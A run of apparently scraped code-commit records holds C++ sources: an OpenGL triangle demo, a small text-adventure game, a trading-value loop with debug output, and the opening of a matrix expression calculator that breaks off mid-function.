\"Failed to initialize GLFW\" << std::endl;\n return -1;\n }\n defer(std::cout << \"Calling glfwTerminate()\" << std::endl; glfwTerminate());\n\n glfwDefaultWindowHints();\n\n glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);\n glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);\n glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);\n\n GLFWwindow* window = glfwCreateWindow(800, 600, \"Triangle\", nullptr, nullptr);\n if(window == nullptr) {\n std::cerr << \"Failed to open GLFW window\" << std::endl;\n return -1;\n }\n defer(std::cout << \"Calling glfwDestroyWindow()\" << std::endl; glfwDestroyWindow(window));\n\n glfwMakeContextCurrent(window);\n\n if(glxwInit()) {\n std::cerr << \"Failed to init GLXW\" << std::endl;\n return -1;\n }\n\n glfwSwapInterval(1);\n\n glfwSetWindowSizeCallback(window, windowSizeCallback);\n\n glfwShowWindow(window);\n\n glEnable(GL_DEPTH_TEST | GL_DOUBLEBUFFER | GL_CULL_FACE); \/\/ TODO: describe GL_CULL_FACE!\n glDepthFunc(GL_LESS);\n\n glClearColor(0, 0, 0, 1);\n\n bool errorFlag = false;\n std::vector<GLuint> shaders;\n\n GLuint vertexShaderId = loadShader(\"shaders\/vertexShader.glsl\", GL_VERTEX_SHADER, &errorFlag);\n if(errorFlag) {\n std::cerr << \"Failed to load vertex shader (invalid working directory?)\" << std::endl;\n return -1;\n }\n\n shaders.push_back(vertexShaderId);\n\n GLuint fragmentShaderId = loadShader(\"shaders\/fragmentShader.glsl\", GL_FRAGMENT_SHADER, &errorFlag);\n if(errorFlag) {\n std::cerr << \"Failed to load fragment shader (invalid working directory?)\" << std::endl;\n return -1;\n }\n shaders.push_back(fragmentShaderId);\n\n GLuint programId = prepareProgram(shaders, &errorFlag);\n if(errorFlag) {\n std::cerr << \"Failed to prepare program\" << std::endl;\n return -1;\n }\n glDeleteShader(vertexShaderId);\n glDeleteShader(fragmentShaderId);\n\n GLuint vbo;\n glGenBuffers(1, &vbo);\n glBindBuffer(GL_ARRAY_BUFFER, vbo);\n glBufferData(GL_ARRAY_BUFFER, sizeof(globVertexBufferData), globVertexBufferData, GL_STATIC_DRAW);\n\n GLuint vao;\n glGenVertexArrays(1, &vao);\n\n glBindVertexArray(vao);\n glBindBuffer(GL_ARRAY_BUFFER, vbo);\n glVertexAttribPointer(0, 3, GL_FLOAT, GL_FALSE, 0, nullptr);\n glBindBuffer(GL_ARRAY_BUFFER, 0); \/\/ unbind VBO\n glBindVertexArray(0); \/\/ unbind VAO\n\n static const float speed = 0.1f; \/\/ units per second\n glm::vec3 position(0, 0, 5); \/\/ Camera is at (0, 0, 5)\n float horizontalAngleRad = 3.14f; \/\/ horizontal angle : toward -Z\n float verticalAngleRad = 0.0f; \/\/ vertical angle : 0, look at the horizon\n static const float mouseSpeedRad = 0.0025f;\n\n glm::mat4 projection = glm::perspective(90.0f, 4.0f \/ 3.0f, 0.3f, 100.0f);\n\n GLint matrixId = glGetUniformLocation(programId, \"MVP\");\n\n auto startTime = std::chrono::high_resolution_clock::now();\n\n \/\/ TODO: getViewMatrix\n \/\/ in: float deltaTimeMs, context: { horizontalAngleRad, verticalAngleRad, position, ... }\n \/\/ out: view metrix\n\n \/\/ hide cursor\n glfwSetInputMode(window, GLFW_CURSOR, GLFW_CURSOR_DISABLED);\n\n while(glfwWindowShouldClose(window) == GL_FALSE) {\n auto currentTime = std::chrono::high_resolution_clock::now();\n auto duration = currentTime - startTime;\n float deltaTimeMs = std::chrono::duration_cast<std::chrono::milliseconds>(duration).count();\n float deltaTimeSec = deltaTimeMs\/1000.0f;\n float rotationTimeMs = 3000.0f;\n float currentRotation = deltaTimeMs \/ rotationTimeMs;\n float angle = 360.0f*(currentRotation - (long)currentRotation);\n\n int windowWidth, windowHeight;\n glfwGetWindowSize(window, &windowWidth, &windowHeight);\n\n double mouseX, mouseY;\n glfwGetCursorPos(window, &mouseX, &mouseY);\n\n horizontalAngleRad += mouseSpeedRad * deltaTimeSec * static_cast<float>(windowWidth\/2 - mouseX);\n verticalAngleRad += mouseSpeedRad * deltaTimeSec * static_cast<float>(windowHeight\/2 - mouseY);\n\n glfwSetCursorPos(window, windowWidth\/2, windowHeight\/2);\n\n \/\/ Direction : Spherical coordinates to Cartesian coordinates conversion\n glm::vec3 direction(\n cos(verticalAngleRad) * sin(horizontalAngleRad),\n sin(verticalAngleRad),\n cos(verticalAngleRad) * cos(horizontalAngleRad)\n );\n\n \/\/ Right vector\n glm::vec3 right = glm::vec3(\n sin(horizontalAngleRad - 3.14f\/2.0f),\n 0,\n cos(horizontalAngleRad - 3.14f\/2.0f)\n );\n\n glm::vec3 up = glm::cross( right, direction );\n\n \/\/ Move forward\n if (glfwGetKey(window, GLFW_KEY_W) == GLFW_PRESS){\n position += direction * deltaTimeSec * speed;\n }\n \/\/ Move backward\n if (glfwGetKey(window, GLFW_KEY_S) == GLFW_PRESS){\n position -= direction * deltaTimeSec * speed;\n }\n \/\/ Strafe left\n if (glfwGetKey(window, GLFW_KEY_A) == GLFW_PRESS){\n position -= right * deltaTimeSec * speed;\n }\n \/\/ Strafe right\n if (glfwGetKey(window, GLFW_KEY_D) == GLFW_PRESS){\n position += right * deltaTimeSec * speed;\n }\n\n \/\/ Camera matrix\n glm::mat4 view = glm::lookAt(position, position + direction, up);\n glm::mat4 model = glm::rotate(angle, 0.0f, 1.0f, 0.0f);\n glm::mat4 mvp = projection * view * model; \/\/ Remember, matrix multiplication is the other way around\n glUniformMatrix4fv(matrixId, 1, GL_FALSE, &mvp[0][0]);\n\n glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);\n\n glUseProgram(programId);\n\n glBindVertexArray(vao);\n glEnableVertexAttribArray(0);\n glDrawArrays(GL_TRIANGLES, 0, 3);\n glDisableVertexAttribArray(0);\n \n glfwSwapBuffers(window);\n glfwPollEvents();\n }\n\n glDeleteVertexArrays(1, &vao);\n glDeleteBuffers(1, &vbo);\n glDeleteProgram(programId);\n\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>c55a4f30-2e4e-11e5-9dc2-28cfe91dbc4b<commit_msg>c5622240-2e4e-11e5-bdd7-28cfe91dbc4b<commit_after>c5622240-2e4e-11e5-bdd7-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>07b13dfa-2e4f-11e5-84aa-28cfe91dbc4b<commit_msg>07b83e5c-2e4f-11e5-b0fe-28cfe91dbc4b<commit_after>07b83e5c-2e4f-11e5-b0fe-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>de849d8c-2e4e-11e5-972f-28cfe91dbc4b<commit_msg>de8d4680-2e4e-11e5-8a56-28cfe91dbc4b<commit_after>de8d4680-2e4e-11e5-8a56-28cfe91dbc4b<|endoftext|>"} {"text":"<commit_before>0460282e-585b-11e5-b65b-6c40088e03e4<commit_msg>0467bddc-585b-11e5-ad1d-6c40088e03e4<commit_after>0467bddc-585b-11e5-ad1d-6c40088e03e4<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <iterator>\n#include <memory>\n#include <algorithm>\n#include <cstring>\n#include <unordered_map>\n\nusing namespace std;\n\nvector<string> split(const string& str) {\n string buf; \/\/ Have a buffer string\n stringstream ss(str); \/\/ Insert the string into a stream\n vector<string> tokens; \/\/ Create vector to hold our words\n\n while (ss >> buf)\n tokens.push_back(buf);\n\n return tokens;\n}\n\nusing RoomID = int;\n\nstruct RoomObject\n{\n};\n\nstruct Map\n{\n\tstatic const int max_width = 100, max_height = 100;\n\tstatic const int player_start_x = 50, player_start_y = 50;\n enum Location\n {\n UNKNOWN,\n GRAVEYARD,\n GRAVEYARD_GATES,\n KHATHARRS_MOMS_HOUSE,\n };\n\tLocation map_location[max_width][max_height];\n\tint x, y;\n\tMap()\n\t{\n memset(map_location, UNKNOWN, sizeof(map_location));\n\t\tx = 50;\n\t\ty = 50;\n\t\tmap_location[50][50] = GRAVEYARD;\n\t\tmap_location[50][51] = GRAVEYARD_GATES;\n\t\tmap_location[50][52] = KHATHARRS_MOMS_HOUSE;\n\t}\n};\n\nstruct Entity\n{\n Entity(string name, int maxHealth) : name(name), health(maxHealth) {}\n\n void heal(int points)\n {\n health = min(100, health + points);\n cout << name << \" healed to \" << health << \" health\" << endl;\n }\n\n void damage(int points)\n {\n health = max(0, health - points);\n cout << name << \" damaged to \" << health << \"health\" << endl;\n }\n\n int getHealth() const { return health; }\n\n \/\/ Return false if the entity didn't know the command\n virtual bool act(vector<string> commands) = 0;\n\n string name;\n Map map;\n\nprivate:\n int health;\n};\n\nstruct Shogun : public Entity {\n Shogun() : Entity(\"Shogibear\", 100) {}\n};\n\nstruct Item\n{\n virtual void apply(Entity* entity) = 0;\n virtual string identify() const = 0;\n};\n\nstruct HealthItem : public Item\n{\n HealthItem(int healPower) : healPower(healPower) {}\n\n void apply(Entity* entity) override\n {\n entity->heal(healPower);\n }\n\n string identify() const override\n {\n stringstream ss;\n ss << \"Health Potion (\" << healPower << \")\";\n return ss.str();\n }\n\nprivate:\n int healPower;\n};\nstruct BlessedSword : public Item\n{\n BlessedSword(int Weapon) : Weapon(Weapon){}\nvoid apply(Entity* entity) override{entity->damage(Weapon);}string identify() const override{stringstream ss; ss << \"Hit (\" << Weapon << \")\";}\nprivate: int Weapon;};\/\/will add this to entity on my next commit. <.<\n\/*\nstruct TheFastcall : public Entity\n{\n TheFastcall() : Entity(\"The Fastcall\", 22) {}\n*\/\n\nstruct Player : public Entity\n{\n Player(string name, int health) : Entity(name, health) {}\n\n virtual bool act(vector<string> commands) override\n {\n auto& cmd = commands[0];\n if(cmd == \"n\") { commands = vector<string>{\"go\",\"north\"}; }\n if(cmd == \"s\") { commands = vector<string>{\"go\",\"south\"}; }\n if(cmd == \"e\") { commands = vector<string>{\"go\",\"east\"}; }\n if(cmd == \"w\") { commands = vector<string>{\"go\",\"west\"}; }\n\n if (commands.size() >= 1 && commands[0] == \"look\")\n {\n look();\n return true;\n }\n else if (commands.size() >= 2 && (commands[0] == \"examine\" || commands[0] == \"x\"))\n {\n }\n else if (commands.size() >= 2 && commands[0] == \"go\")\n {\n if (travel(commands[1]) == true)\n {\n look();\n } else {\n cout << \"Can't travel \" << commands[1] << endl;\n }\n return true;\n }\n else if (commands.size() >= 1 && commands[0] == \"items\")\n {\n showItems();\n return true;\n }\n else if (commands.size() >= 2 && commands[0] == \"use\")\n {\n int index = stoi(commands[1]);\n useItem(index);\n return true;\n }\n\n return false;\n }\n\n bool travel(string direction)\n {\n\t\tif ((map.x <= 0 && direction == \"west\") || (map.x >= (map.max_width - 1) && direction == \"east\"))\n\t\t\treturn false;\n\t\tif ((map.y <= 0 && direction == \"south\") || (map.y >= (map.max_width - 1) && direction == \"north\"))\n\t\t\treturn false;\n if(direction==\"north\"&&map.map_location[map.x][map.y+1]==Map::UNKNOWN)return false;if(direction==\"south\"&&map.map_location[map.x][map.y-1]==Map::UNKNOWN)return false;if(direction==\"east\"&&map.map_location[map.x+1][map.y]==Map::UNKNOWN)return false\n ;if(direction==\"west\"&&map.map_location[map.x-1][map.y]==Map::UNKNOWN)return false;if(direction==\"north\")map.y++;if(direction==\"south\")map.y--;if(direction==\"east\")map.x++;if(direction==\"west\")map.x--;\n return true;\/*\n switch (map.map_location[map.x][map.y])\n {\n case Map::GRAVEYARD:\n if (direction == \"north\")\n {\n\t\t\t\t\tmap.y++;\n return true;\n }\n break;\n case Map::GRAVEYARD_GATES:\n if (direction == \"south\")\n {\n\t\t\t\t\tmap.y--;\n return true;\n }\n if (direction == \"north\")\n {\n map.y++;\n return true;\n }\n break;\n }\n\n cout << \"Can't travel \" << direction << endl;\n return false;*\/\n }\n\n void look()\n {\n switch (map.map_location[map.x][map.y])\n {\n case Map::GRAVEYARD:\n cout << \"A thick layer of fog covers the graveyard soil. Tombstones jut out here and there and an eerie willow tree looms over your head, obstructing the full moon partially. Off in the distance you see the northern gates -- the only entrance into this forsaken place.\" << endl;\n break;\n case Map::GRAVEYARD_GATES:\n cout << \"For many centuries these gates have stood the test of time. The gateway to the afterlife. Inside the graveyard small hills stretch endlessly, littered with thousands of tombstones. You see a willow tree south of the gates. Outisde, north, you see a very large house.\" << endl;\n break;\n case Map::KHATHARRS_MOMS_HOUSE:\n cout << \"The house is gigantic! What could possibly require such volume, such mass, such density? The house appears to not have any doors, but due to the strain from whatever is present inside, cracks have formed. You see a crack you might just fit into east.\" << endl;\n break;\n }\n }\n\n void giveItem(shared_ptr<Item> item)\n {\n inventory.push_back(item);\n }\n\n void showItems()\n {\n if (inventory.size() == 0)\n cout << \"You have no items.\" << endl;\n int i = 1;\n for (auto item : inventory)\n {\n cout << \" \" << i++ << \". \" << item->identify() << std::endl;\n }\n }\n\n void useItem(size_t index)\n {\n if (index > inventory.size())\n {\n cout << \"Invalid index\" << endl;\n return;\n }\n\n inventory[index-1]->apply(this);\n inventory.erase(inventory.begin() + index - 1);\n }\n\nprivate:\n vector<shared_ptr<Item>> inventory;\n};\n\nstruct Room {\n\tstring description;\n\tvector<Entity> entities; vector<RoomObject> objects; unordered_map<string, RoomID> exits; };\n\nclass Adventure\n{\npublic:\n void begin()\n {\n string command;\n cout << \"Welcome, brave soul. Pray tell, what is thy name?\" << endl;\n cout << \"> \";\n getline(cin, command);\n\n Player player(command, 100);\n player.giveItem(make_shared<HealthItem>(20));\n\n cout << player.name << \"! Your presence defiles these sacred grounds. Beware the soil upon which you step, for it will claim you sooner rather than later.\" << endl;\n player.look();\n\n while (player.getHealth() > 0)\n {\n cout << \"> \";\n getline(cin, command);\n if (player.act(split(command)) == false)\n cout << \"Unknown command\" << endl;\n }\n\n cout << \"You died. Game over.\" << endl;\n }\n};\n\nint main()\n{\n Adventure adventure;\n adventure.begin();\n return 0;\n}\n<commit_msg>Not as fast as your mom's plot in this text adventure<commit_after>#include <iostream>\n#include <string>\n#include <sstream>\n#include <vector>\n#include <iterator>\n#include <memory>\n#include <algorithm>\n#include <cstring>\n#include <unordered_map>\n\nusing namespace std;\n\nvector<string> split(const string& str) {\n string buf; \/\/ Have a buffer string\n stringstream ss(str); \/\/ Insert the string into a stream\n vector<string> tokens; \/\/ Create vector to hold our words\n\n while (ss >> buf)\n tokens.push_back(buf);\n\n return tokens;\n}\n\nusing RoomID = int;\n\nstruct RoomObject\n{\n};\n\nstruct Map\n{\n\tstatic const int max_width = 100, max_height = 100;\n\tstatic const int player_start_x = 50, player_start_y = 50;\n enum Location\n {\n UNKNOWN,\n GRAVEYARD,\n GRAVEYARD_GATES,\n KHATHARRS_MOMS_HOUSE,\n };\n\tLocation map_location[max_width][max_height];\n\tint x, y;\n\tMap()\n\t{\n memset(map_location, UNKNOWN, sizeof(map_location));\n\t\tx = 50;\n\t\ty = 50;\n\t\tmap_location[50][50] = GRAVEYARD;\n\t\tmap_location[50][51] = GRAVEYARD_GATES;\n\t\tmap_location[50][52] = KHATHARRS_MOMS_HOUSE;\n\t}\n};\n\nstruct Entity\n{\n Entity(string name, int maxHealth) : name(name), health(maxHealth) {}\n\n void heal(int points)\n {\n health = min(100, health + points);\n cout << name << \" healed to \" << health << \" health\" << endl;\n }\n\n void damage(int points)\n {\n health = max(0, health - points);\n cout << name << \" damaged to \" << health << \"health\" << endl;\n }\n\n int getHealth() const { return health; }\n\n \/\/ Return false if the entity didn't know the command\n virtual bool act(vector<string> commands) = 0;\n\n string name;\n Map map;\n\nprivate:\n int health;\n};\n\nstruct Shogun : public Entity {\n Shogun() : Entity(\"Shogibear\", 100) {}\n};\n\nstruct Item\n{\n virtual void apply(Entity* entity) = 0;\n virtual string identify() const = 0;\n};\n\nstruct HealthItem : public Item\n{\n HealthItem(int healPower) : healPower(healPower) {}\n\n void apply(Entity* entity) override\n {\n entity->heal(healPower);\n }\n\n string identify() const override\n {\n stringstream ss;\n ss << \"Health Potion (\" << healPower << \")\";\n return ss.str();\n }\n\nprivate:\n int healPower;\n};\nstruct BlessedSword : public Item\n{\n BlessedSword(int Weapon) : Weapon(Weapon){}\nvoid apply(Entity* entity) override{entity->damage(Weapon);}string identify() const override{stringstream ss; ss << \"Hit (\" << Weapon << \")\";}\nprivate: int Weapon;};\/\/will add this to entity on my next commit. <.<\n\n\/*\nstruct TheFastcall : public Entity\n{\n TheFastcall() : Entity(\"The Fastcall\", 22) {}\n virtual bool act(vector<string> commands) override\n {\n }\n*\/\n\nstruct Player : public Entity\n{\n Player(string name, int health) : Entity(name, health) {}\n\n virtual bool act(vector<string> commands) override\n {\n auto& cmd = commands[0];\n if(cmd == \"n\") { commands = vector<string>{\"go\",\"north\"}; }\n if(cmd == \"s\") { commands = vector<string>{\"go\",\"south\"}; }\n if(cmd == \"e\") { commands = vector<string>{\"go\",\"east\"}; }\n if(cmd == \"w\") { commands = vector<string>{\"go\",\"west\"}; }\n\n if (commands.size() >= 1 && commands[0] == \"look\")\n {\n look();\n return true;\n }\n else if (commands.size() >= 2 && (commands[0] == \"examine\" || commands[0] == \"x\"))\n {\n }\n else if (commands.size() >= 2 && commands[0] == \"go\")\n {\n if (travel(commands[1]) == true)\n {\n look();\n } else {\n cout << \"Can't travel \" << commands[1] << endl;\n }\n return true;\n }\n else if (commands.size() >= 1 && commands[0] == \"items\")\n {\n showItems();\n return true;\n }\n else if (commands.size() >= 2 && commands[0] == \"use\")\n {\n int index = stoi(commands[1]);\n useItem(index);\n return true;\n }\n\n return false;\n }\n\n bool travel(string direction)\n {\n\t\tif ((map.x <= 0 && direction == \"west\") || (map.x >= (map.max_width - 1) && direction == \"east\"))\n\t\t\treturn false;\n\t\tif ((map.y <= 0 && direction == \"south\") || (map.y >= (map.max_width - 1) && direction == \"north\"))\n\t\t\treturn false;\n if(direction==\"north\"&&map.map_location[map.x][map.y+1]==Map::UNKNOWN)return false;if(direction==\"south\"&&map.map_location[map.x][map.y-1]==Map::UNKNOWN)return false;if(direction==\"east\"&&map.map_location[map.x+1][map.y]==Map::UNKNOWN)return false\n ;if(direction==\"west\"&&map.map_location[map.x-1][map.y]==Map::UNKNOWN)return false;if(direction==\"north\")map.y++;if(direction==\"south\")map.y--;if(direction==\"east\")map.x++;if(direction==\"west\")map.x--;\n return true;\/*\n switch (map.map_location[map.x][map.y])\n {\n case Map::GRAVEYARD:\n if (direction == \"north\")\n {\n\t\t\t\t\tmap.y++;\n return true;\n }\n break;\n case Map::GRAVEYARD_GATES:\n if (direction == \"south\")\n {\n\t\t\t\t\tmap.y--;\n return true;\n }\n if (direction == \"north\")\n {\n map.y++;\n return true;\n }\n break;\n }\n\n cout << \"Can't travel \" << direction << endl;\n return false;*\/\n }\n\n void look()\n {\n switch (map.map_location[map.x][map.y])\n {\n case Map::GRAVEYARD:\n cout << \"A thick layer of fog covers the graveyard soil. Tombstones jut out here and there and an eerie willow tree looms over your head, obstructing the full moon partially. Off in the distance you see the northern gates -- the only entrance into this forsaken place.\" << endl;\n break;\n case Map::GRAVEYARD_GATES:\n cout << \"For many centuries these gates have stood the test of time. The gateway to the afterlife. Inside the graveyard small hills stretch endlessly, littered with thousands of tombstones. You see a willow tree south of the gates. Outisde, north, you see a very large house.\" << endl;\n break;\n case Map::KHATHARRS_MOMS_HOUSE:\n cout << \"The house is gigantic! What could possibly require such volume, such mass, such density? The house appears to not have any doors, but due to the strain from whatever is present inside, cracks have formed. You see a crack you might just fit into east.\" << endl;\n break;\n }\n }\n\n void giveItem(shared_ptr<Item> item)\n {\n inventory.push_back(item);\n }\n\n void showItems()\n {\n if (inventory.size() == 0)\n cout << \"You have no items.\" << endl;\n int i = 1;\n for (auto item : inventory)\n {\n cout << \" \" << i++ << \". \" << item->identify() << std::endl;\n }\n }\n\n void useItem(size_t index)\n {\n if (index > inventory.size())\n {\n cout << \"Invalid index\" << endl;\n return;\n }\n\n inventory[index-1]->apply(this);\n inventory.erase(inventory.begin() + index - 1);\n }\n\nprivate:\n vector<shared_ptr<Item>> inventory;\n};\n\nstruct Room {\n\tstring description;\n\tvector<Entity> entities; vector<RoomObject> objects; unordered_map<string, RoomID> exits; };\n\nclass Adventure\n{\npublic:\n void begin()\n {\n string command;\n cout << \"Welcome, brave soul. Pray tell, what is thy name?\" << endl;\n cout << \"> \";\n getline(cin, command);\n\n Player player(command, 100);\n player.giveItem(make_shared<HealthItem>(20));\n\n cout << player.name << \"! Your presence defiles these sacred grounds. Beware the soil upon which you step, for it will claim you sooner rather than later.\" << endl;\n player.look();\n\n while (player.getHealth() > 0)\n {\n cout << \"> \";\n getline(cin, command);\n if (player.act(split(command)) == false)\n cout << \"Unknown command\" << endl;\n }\n\n cout << \"You died. Game over.\" << endl;\n }\n};\n\nint main()\n{\n Adventure adventure;\n adventure.begin();\n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include <iostream>\n#include <vector>\n#include <iterator>\n#include <algorithm>\n\nbool sortHighLow(int i, int j) {\n\treturn j < i;\n};\n\nint main(int argc, char** argv) {\n\tstd::vector<int> tradingValues;\n\tstd::vector<int> currentItems;\n\tint startingValue;\n\tint currentValue = startingValue;\n\tint numTrades = 0;\n\tbool turnTime = true;\n\t\/\/temporary values\n\tstartingValue = 120;\n\ttradingValues.push_back(15);\n\ttradingValues.push_back(8);\n\ttradingValues.push_back(5);\n\ttradingValues.push_back(62);\n\ttradingValues.push_back(1);\n\t\n\tstd::sort(tradingValues.begin(), tradingValues.end(), sortHighLow);\n\twhile(currentItems.empty()) {\n\t\tstd::cout << \"test1\" << std::endl;\n\t\tcurrentValue = *currentItems.begin();\n\t\tstd::cout << \"test2\" << std::endl;\n\t\tcurrentItems.erase(currentItems.begin());\n\t\tstd::vector<int>::iterator itr = tradingValues.begin();\n\t\twhile(itr != tradingValues.end()) {\n\t\t\tif(*itr < currentValue){\n\t\t\t\tstd::cout << \"test\";\n\t\t\t\t++numTrades;\n\t\t\t\tcurrentValue -= *itr;\n\t\t\t\tif(*itr != 1)\n\t\t\t\t\tcurrentItems.push_back(*itr);\n\t\t\t}\n\t\t\telse\n\t\t\t\t++itr;\n\t\t}\n\t}\n\tstd::cout << numTrades;\n}<commit_msg>More updates<commit_after>#include <iostream>\n#include <vector>\n#include <iterator>\n#include <algorithm>\n#include <string>\n\nbool sortHighLow(int i, int j) {\n\treturn j < i;\n};\n\nint main(int argc, char** argv) {\n\tstd::vector<int> tradingValues;\n\tstd::vector<int> currentItems;\n\tint startingValue;\n\tint currentValue;\n\tint numTrades = 0;\n\tbool turnTime = true;\n\t\/\/temporary values\n\tstartingValue = 10;\n\ttradingValues.push_back(15);\n\ttradingValues.push_back(10);\n\ttradingValues.push_back(3);\n\ttradingValues.push_back(1);\n\t\n\tcurrentItems.push_back(startingValue);\n\twhile(!currentItems.empty()) {\n\t\tcurrentValue = currentItems[0];\n\t\tcurrentItems.erase(currentItems.begin());\n\t\tfor(std::vector<int>::iterator itr = tradingValues.begin(); itr != tradingValues.end();) {\n\t\t\twhile(currentValue > *itr){\n\t\t\t\tcurrentValue -= *itr;\n\t\t\t\tif(*itr != 1)\n\t\t\t\t\tcurrentItems.push_back(*itr);\n\t\t\t\t++numTrades;\n\t\t\t\tstd::cout << \"currentValue = \" << currentValue << \" *itr = \" << *itr << \" numTrades = \" << numTrades << std::endl;\n\t\t\t\tstd::string dummy;\n\t\t\t\tstd::getline(std::cin, dummy);\n\t\t\t}\n\t\t\t++itr;\n\t\t\tstd::cout << \"The currentItems list is: \";\n\t\t\tfor(std::vector<int>::iterator mtr = currentItems.begin(); mtr != currentItems.end(); ++mtr) {\n\t\t\t\tstd::cout << *mtr << \" \";\n\t\t\t}\n\t\t\tstd::cout << std::endl;\n\t\t\tstd::string dummy;\n\t\t\tstd::getline(std::cin, dummy);\n\t\t}\n\t}\n\t\n\t\n\t\n\t\n\/\/\tcurrentItems.push_back(startingValue);\n\/\/\tstd::sort(tradingValues.begin(), tradingValues.end(), sortHighLow);\n\/\/\twhile(!currentItems.empty()) {\n\/\/\t\tcurrentValue = currentItems[0];\n\/\/\t\tcurrentItems.erase(currentItems.begin());\n\/\/\t\tfor(std::vector<int>::iterator itr = tradingValues.begin(); itr != tradingValues.end();) {\n\/\/\t\t\tstd::cout << \"The current value of the iterator is \" << *itr << std::endl;\n\/\/\t\t\tstd::cout << \"The current value of currentValue is \" << currentValue << std::endl;\n\/\/\t\t\tif(*itr < currentValue){\n\/\/\t\t\t\t++numTrades;\n\/\/\t\t\t\tcurrentValue -= *itr;\n\/\/\t\t\t\tif(*itr != 1)\n\/\/\t\t\t\t\tcurrentItems.push_back(*itr);\n\/\/\t\t\t}\n\/\/\t\t\telse\n\/\/\t\t\t\t++itr;\n\/\/\t\t}\n\/\/\t}\n\tstd::cout << numTrades;\n}<|endoftext|>"} {"text":"<commit_before>#include \"matrix.h\"\n#include \"parser.h\"\n#include \"finite.h\"\n#include <iostream>\n#include <map>\n#include <sstream>\n#include <cstdlib>\n\nusing namespace std;\n\nvoid die(const string &s)\n{\n cout << s << endl;\n exit(1);\n}\n\nstring safeGetline()\n{\n string s;\n while (s.empty())\n {\n getline(cin, s);\n while (s.size() && isspace(s.back()))\n s.pop_back();\n }\n return s;\n}\n\ntemplate<class NumMatrix>\nNumMatrix getMatrix(string prompt)\n{\n string s, sum;\n cout << prompt << endl;\n s = safeGetline();\n unsigned width = 0, height = 0;\n while (s.length())\n {\n istringstream is;\n is.str(s);\n unsigned cwidth = 0;\n Rational dummy;\n while (is >> dummy)\n ++cwidth;\n if (!cwidth)\n break;\n if (width && width != cwidth)\n die(\"Incorrect matrix\");\n width = cwidth;\n ++height;\n sum += s + ' ';\n getline(cin, s);\n }\n NumMatrix m(height, width);\n istringstream is;\n is.str(sum);\n is >> m;\n return m;\n}\n\ntemplate<class NumMatrix>\nNumMatrix f_solve(const vector<NumMatrix*> &a)\n{\n unsigned sz = a[0]->height();\n if (!sz || a[0]->width() != sz + 1)\n die(\"Invalid use of solve: N*N+1 matrix required\");\n NumMatrix sys = a[0]->submatrix(0, 0, sz - 1, sz - 1);\n NumMatrix right = a[0]->submatrix(0, sz, sz - 1, sz);\n sys.inverseExt(right);\n return right.transposed();\n\n}\n\ntemplate<class NumMatrix>\nvoid processOp(string op, vector<NumMatrix> &st, map<string, pair<int, NumMatrix (*)(const vector<NumMatrix*>&)> > &operations)\n{\n if (operations[op].first == 1)\n {\n st.back() = operations[op].second({&st.back()});\n }\n else if (operations[op].first == 2)\n {\n NumMatrix a = st.back();\n st.pop_back();\n st.back() = operations[op].second({&st.back(), &a});\n }\n else\n {\n NumMatrix a = st.back();\n st.pop_back();\n NumMatrix b = st.back();\n st.pop_back();\n st.back() = operations[op].second({&st.back(), &b, &a});\n }\n}\n\ntemplate<class Field>\nvoid f_expr()\n{\n\n typedef Matrix<Field> NumMatrix;\n map<string, pair<int, NumMatrix (*)(const vector<NumMatrix*>&)> > operations =\n {\n {\"+\", {2, [](const vector<NumMatrix*>& a) { return *a[0] + *a[1]; }}},\n {\"^\", {2, [](const vector<NumMatrix*>& a) {\n if (a[1]->width() != 1 || a[1]->height() != 1 || (*a[1])[0][0] != int((*a[1])[0][0]))\n die(\"Invalid use of ^: integer required\");\n return a[0]->power(int((*a[1])[0][0]));\n }}},\n {\"*\", {2, [](const vector<NumMatrix*>& a) {\n if (a[0]->height() == 1 && a[0]->width() == 1)\n return *a[1] * (*a[0])[0][0];\n else if (a[1]->height() == 1 && a[1]->width() == 1)\n return *a[0] * (*a[1])[0][0];\n else\n return *a[0] * *a[1];\n }}},\n {\"\/\", {2, [](const vector<NumMatrix*>& a) {\n if (a[0]->height() == 1 && a[0]->width() == 1)\n return a[1]->inverted() * (*a[0])[0][0];\n else if (a[1]->height() == 1 && a[1]->width() == 1)\n return *a[0] * a[1]->inverted()[0][0];\n else\n return *a[0] * a[1]->inverted();\n }}},\n {\"-\", {2, [](const vector<NumMatrix*>& a) { return *a[0] - *a[1]; }}},\n {\"_\", {1, [](const vector<NumMatrix*>& a) { return -*a[0]; }}},\n {\"det\", {1, [](const vector<NumMatrix*>& a) { return NumMatrix::fromNumber(a[0]->det()); }}},\n {\"rank\", {1, [](const vector<NumMatrix*>& a) { return NumMatrix::fromNumber(a[0]->rank()); }}},\n {\"trace\", {1, [](const vector<NumMatrix*>& a) { return NumMatrix::fromNumber(a[0]->trace()); }}},\n {\"t\", {1, [](const vector<NumMatrix*>& a) { return a[0]->transposed(); }}},\n {\"inv\", {1, [](const vector<NumMatrix*>& a) { return a[0]->inverted(); }}},\n {\"id\", {1, [](const vector<NumMatrix*>& a) {\n if (a[0]->width() != 1 || a[0]->height() != 1)\n die(\"Invalid use of id\");\n return NumMatrix::identity(abs(int((*a[0])[0][0])));\n }}},\n {\"=\", {2, [](const vector<NumMatrix*> &a) { return NumMatrix::fromNumber(*a[0] == *a[1]); }}},\n {\"width\", {1, [](const vector<NumMatrix*> &a) { return NumMatrix::fromNumber(a[0]->width()); }}},\n {\"height\", {1, [](const vector<NumMatrix*> &a) { return NumMatrix::fromNumber(a[0]->height()); }}},\n {\"solve\", {1, f_solve}},\n {\"at\", {3, [](const vector<NumMatrix*> &a) {\n if (a[1]->width() != 1 || a[1]->height() != 1 || a[2]->width() != 1 || a[2]->height() != 1)\n die(\"Invalid use of at\");\n if (int((*a[1])[0][0]) != (*a[1])[0][0] || int((*a[2])[0][0]) != (*a[2])[0][0])\n die(\"at: indices must be integers\");\n if (int((*a[1])[0][0]) < 0 || int((*a[1])[0][0]) >= int(a[0]->height()) ||\n int((*a[2])[0][0]) < 0 || int((*a[2])[0][0]) >= int(a[0]->width()))\n die(\"at: out of range\");\n return 